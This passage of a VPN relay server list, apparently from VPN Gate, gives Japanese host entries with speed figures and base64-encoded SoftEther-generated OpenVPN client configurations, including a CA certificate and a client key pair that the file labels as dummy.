owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxODAuMTQ0LjU4LjU4IDQ0Mw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn522086169,119.175.138.113,892885,101,198963311,Japan,JP,31,320446195,68862,8308570033303,2weeks,DESKTOP-B3IT46F's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj